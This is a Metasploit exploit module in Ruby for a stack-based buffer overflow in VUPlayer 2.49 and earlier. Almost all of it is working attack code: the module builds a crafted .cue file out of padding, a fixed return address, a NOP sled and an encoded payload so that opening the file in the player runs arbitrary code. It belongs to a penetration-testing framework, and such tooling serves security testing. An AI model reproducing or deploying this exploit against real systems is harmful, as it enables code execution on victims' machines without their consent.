74 lines
1.9 KiB
Ruby
74 lines
1.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'VUPlayer CUE Buffer Overflow',
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'Description' => %q{
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This module exploits a stack based overflow in VUPlayer <= 2.49. When
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the application is used to open a specially crafted cue file, a buffer is overwritten allowing
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for the execution of arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'References' =>
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[
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[ 'OSVDB', '64581'],
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[ 'BID', '33960' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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'AllowWin32SEH' => true
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},
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'Payload' =>
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{
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'Space' => 750,
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'BadChars' => "\x00",
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'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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'DisableNops' => 'True',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'VUPlayer 2.49', { 'Ret' => 0x1010539f } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Aug 18 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.cue']),
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])
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end
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def exploit
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sploit = rand_text_alpha_upper(1012)
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sploit << [target.ret].pack('V')
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sploit << "\x90" * 12
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sploit << payload.encoded
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cue = "FILE ""\""
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cue << sploit
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cue << ".BIN""\"" + " BINARY\r\n"
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cue << "TRACK 01 MODE1/22352\r\n"
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cue << "INDEX 01 00:00:00\r\n"
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(cue)
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end
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end
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